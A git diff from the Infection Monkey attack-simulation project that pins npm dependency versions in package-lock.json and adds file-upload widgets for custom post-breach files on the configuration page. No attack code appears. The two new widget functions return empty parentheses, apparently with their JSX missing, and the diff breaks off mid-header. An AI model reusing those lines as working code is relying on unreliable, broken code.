"is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -17192,14 +17151,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -17208,7 +17167,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -17217,7 +17176,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17228,10 +17187,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -17240,7 +17199,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17251,7 +17210,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -17260,7 +17219,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -17269,9 +17228,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-number": { @@ -17280,7 +17239,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17289,7 +17248,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17312,9 +17271,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } }, "micromatch": { @@ -17323,19 +17282,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } }, "tapable": { @@ -17376,7 +17335,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "camelcase": { @@ -17391,9 +17350,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "cliui": { @@ -17402,9 +17361,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" } }, "cross-spawn": { @@ -17413,11 +17372,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "nice-try": "1.0.5", + "path-key": "2.0.1", + "semver": "5.5.1", + "shebang-command": "1.2.0", + "which": "1.3.0" } }, "decamelize": { @@ -17450,7 +17409,7 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "^3.0.0" + "locate-path": "3.0.0" } }, "has-flag": { @@ -17480,9 +17439,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } }, "locate-path": { @@ -17491,8 +17450,8 @@ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" + "p-locate": "3.0.0", + "path-exists": "3.0.0" } }, "mem": { @@ -17523,7 +17482,7 @@ "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", "dev": true, "requires": { - "p-try": "^2.0.0" + "p-try": "2.0.0" } }, "p-locate": { @@ -17532,7 +17491,7 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "^2.0.0" + "p-limit": "2.0.0" } }, "p-try": { @@ -17559,7 +17518,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "supports-color": { @@ -17597,7 +17556,7 @@ "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==", "dev": true, "requires": { - "camelcase": "^4.1.0" + "camelcase": "4.1.0" } } } @@ -17665,8 +17624,8 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" + "micromatch": "3.1.10", + "normalize-path": "2.1.1" } }, "arr-diff": { @@ -17687,16 +17646,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -17705,7 +17664,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17722,19 +17681,19 @@ "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", "dev": true, "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.0", - "braces": "^2.3.0", - "fsevents": "^1.2.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "lodash.debounce": "^4.0.8", - "normalize-path": "^2.1.1", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0", - "upath": "^1.0.5" + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.4", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.0", + "lodash.debounce": "4.0.8", + "normalize-path": "2.1.1", + "path-is-absolute": "1.0.1", + "readdirp": "2.1.0", + "upath": "1.1.0" } }, "cliui": { @@ -17743,9 +17702,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" }, "dependencies": { "strip-ansi": { @@ -17754,7 +17713,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } } } @@ -17804,12 +17763,12 @@ "integrity": "sha1-U+z2mf/LyzljdpGrE7rxYIGXZuU=", "dev": true, "requires": { - "globby": "^6.1.0", - "is-path-cwd": "^1.0.0", - "is-path-in-cwd": "^1.0.0", - "p-map": "^1.1.1", - "pify": "^3.0.0", - "rimraf": "^2.2.8" + "globby": "6.1.0", + "is-path-cwd": "1.0.0", + "is-path-in-cwd": "1.0.1", + "p-map": "1.2.0", + "pify": "3.0.0", + "rimraf": "2.6.2" } }, "execa": { @@ -17833,13 +17792,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.9", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "debug": { @@ -17857,7 +17816,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -17866,7 +17825,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -17875,7 +17834,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17884,7 +17843,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17895,7 +17854,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17904,7 +17863,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17915,9 +17874,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -17934,14 +17893,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -17950,7 +17909,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -17959,7 +17918,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17970,10 +17929,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -17982,7 +17941,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -18001,6 +17960,7 @@ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", "dev": true, + "optional": true, "requires": { "nan": "2.11.1", "node-pre-gyp": "0.10.0" @@ -18029,21 +17989,19 @@ "dev": true, "optional": true, "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" } }, "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -18063,8 +18021,7 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", @@ -18110,7 +18067,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.2.4" } }, "fs.realpath": { @@ -18125,14 +18082,14 @@ "dev": true, "optional": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" } }, "glob": { @@ -18141,12 +18098,12 @@ "dev": true, "optional": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "has-unicode": { @@ -18161,7 +18118,7 @@ "dev": true, "optional": true, "requires": { - "safer-buffer": "^2.1.0" + "safer-buffer": "2.1.2" } }, "ignore-walk": { @@ -18179,8 +18136,8 @@ "dev": true, "optional": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { @@ -18199,7 +18156,7 @@ "bundled": true, "dev": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "isarray": { @@ -18212,7 +18169,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -18227,14 +18183,15 @@ "bundled": true, "dev": true, "requires": { - "safe-buffer": "^5.1.1", - "yallist": "^3.0.0" + "safe-buffer": "5.1.1", + "yallist": "3.0.2" } }, "minizlib": { "version": "1.1.0", "bundled": true, "dev": true, + "optional": true, "requires": { "minipass": "2.2.4" } @@ -18259,15 +18216,16 @@ "dev": true, "optional": true, "requires": { - "debug": "^2.1.2", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" + "debug": "2.6.9", + "iconv-lite": "0.4.21", + "sax": "1.2.4" } }, "node-pre-gyp": { "version": "0.10.0", "bundled": true, "dev": true, + "optional": true, "requires": { "detect-libc": "1.0.3", "mkdirp": "0.5.1", @@ -18287,8 +18245,8 @@ "dev": true, "optional": true, "requires": { - "abbrev": "1", - "osenv": "^0.1.4" + "abbrev": "1.1.1", + "osenv": "0.1.5" } }, "npm-bundled": { @@ -18303,8 +18261,8 @@ "dev": true, "optional": true, "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" } }, "npmlog": { @@ -18313,10 +18271,10 @@ "dev": true, "optional": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" } }, "number-is-nan": { @@ -18335,7 +18293,7 @@ "bundled": true, "dev": true, "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "os-homedir": { @@ -18356,8 +18314,8 @@ "dev": true, "optional": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "path-is-absolute": { @@ -18378,10 +18336,10 @@ "dev": true, "optional": true, "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" }, "dependencies": { "minimist": { @@ -18398,13 +18356,13 @@ "dev": true, "optional": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "rimraf": { @@ -18413,7 +18371,7 @@ "dev": true, "optional": true, "requires": { - "glob": "^7.0.5" + "glob": "7.1.2" } }, "safe-buffer": { @@ -18456,9 +18414,9 @@ "bundled": true, "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } }, "string_decoder": { @@ -18467,7 +18425,7 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } }, "strip-ansi": { @@ -18475,7 +18433,7 @@ "bundled": true, "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-json-comments": { @@ -18488,6 +18446,7 @@ "version": "4.4.1", "bundled": true, "dev": true, + "optional": true, "requires": { "chownr": "1.0.1", "fs-minipass": "1.2.5", @@ -18510,7 +18469,7 @@ "dev": true, "optional": true, "requires": { - "string-width": "^1.0.2" + "string-width": "1.0.2" } }, "wrappy": { @@ -18531,8 +18490,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" + "is-glob": "3.1.0", + "path-dirname": "1.0.2" }, "dependencies": { "is-glob": { @@ -18541,7 +18500,7 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "^2.1.0" + "is-extglob": "2.1.1" } } } @@ -18552,11 +18511,11 @@ "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=", "dev": true, "requires": { - "array-union": "^1.0.1", - "glob": "^7.0.3", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" + "array-union": "1.0.2", + "glob": "7.1.3", + "object-assign": "4.1.1", + "pify": "2.3.0", + "pinkie-promise": "2.0.1" }, "dependencies": { "pify": { @@ -18585,7 +18544,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -18594,7 +18553,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -18603,9 +18562,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-extglob": { @@ -18620,7 +18579,7 @@ "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { - "is-extglob": "^2.1.1" + "is-extglob": "2.1.1" } }, "is-number": { @@ -18629,7 +18588,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -18638,7 +18597,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -18691,26 +18650,27 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } }, "nan": { "version": "2.11.1", "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz", "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==", - "dev": true + "dev": true, + "optional": true }, "os-locale": { "version": "3.0.1", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index cc1155ad3..a74064c54 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -68,6 +68,7 @@ "core-js": "^2.5.7", "downloadjs": "^1.4.7", "fetch": "^1.1.0", + "filepond": "^4.2.0", "js-file-download": "^0.4.4", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", @@ -83,6 +84,7 @@ "react-dimensions": "^1.3.0", "react-dom": "^16.5.2", "react-fa": "^5.0.0", + "react-filepond": "^7.0.1", "react-graph-vis": "^1.0.2", "react-json-tree": "^0.11.0", "react-jsonschema-form": "^1.0.5", diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 078bfccd0..23efa5cd2 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -3,6 +3,8 @@ import Form from 'react-jsonschema-form'; import {Col, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; +import { FilePond, registerPlugin } from 'react-filepond'; +import 'filepond/dist/filepond.min.css'; class ConfigurePageComponent extends AuthComponent { constructor(props) { @@ -59,16 +61,6 @@ class ConfigurePageComponent extends AuthComponent { }) .then(res => res.json()) .then(res => { - // Leave PBA files on external configuration - if ('linux_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ - let linux_file = this.state.configuration.monkey.behaviour.custom_post_breach.linux_file; - res.configuration.monkey.behaviour.custom_post_breach.windows_file = linux_file; - } - if ('windows_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ - let windows_file = this.state.configuration.monkey.behaviour.custom_post_breach.windows_file; - res.configuration.monkey.behaviour.custom_post_breach.linux_file = windows_file; - } - this.setState({ lastAction: 'saved', schema: res.schema, @@ -160,6 +152,15 @@ class ConfigurePageComponent extends AuthComponent { }); }; + PBAwindows = () => { + return () + }; + + PBAlinux = () => { + return () + }; + + render() { let displayedSchema = {}; const uiSchema = { @@ -168,8 +169,14 @@ class ConfigurePageComponent extends AuthComponent { linux: { "ui:widget": "textarea" }, + linux_file: { + "ui:widget": this.PBAlinux + }, windows: { "ui:widget": "textarea" + }, + windows_file: { + "ui:widget": this.PBAwindows } } } diff --git a/monkey/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js index 329e94dfe..3a701b52e 100644 --- a/monkey/monkey_island/cc/ui/src/index.js +++ 